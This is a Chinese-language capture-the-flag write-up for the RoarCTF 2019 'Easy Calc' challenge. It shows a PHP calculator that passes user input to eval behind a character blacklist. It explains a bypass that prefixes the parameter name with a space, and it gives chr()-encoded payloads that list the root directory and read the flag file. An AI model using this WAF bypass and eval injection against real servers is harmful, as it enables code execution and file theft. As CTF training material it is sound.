Web-[RoarCTF 2019]Easy Calc


看看題目內容,一個計算器,並且過濾了非數字的值,查看源碼,上了waf,並且在calc.php顯示waf的規則

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

進行繞waf,首先了解一下php的解析規則,當php進行解析的時候,如果變量前面有空格,會去掉前面的空格再解析,那么我們就可以利用這個特點繞過waf。

num被限制了,那么'  num'呢,在num前面加了空格。waf就管不着了,因為waf只是限制了num,waf並沒有限制'  num',當php解析的時候,又會把'   num'前面的空格去掉在解析,利用這點來上傳非法字符

構造payload來查看目錄,用chr轉化成ascll碼進行繞過

? num=1;var_dump(scandir(chr(47)))

查看flag

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

獲取flag

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM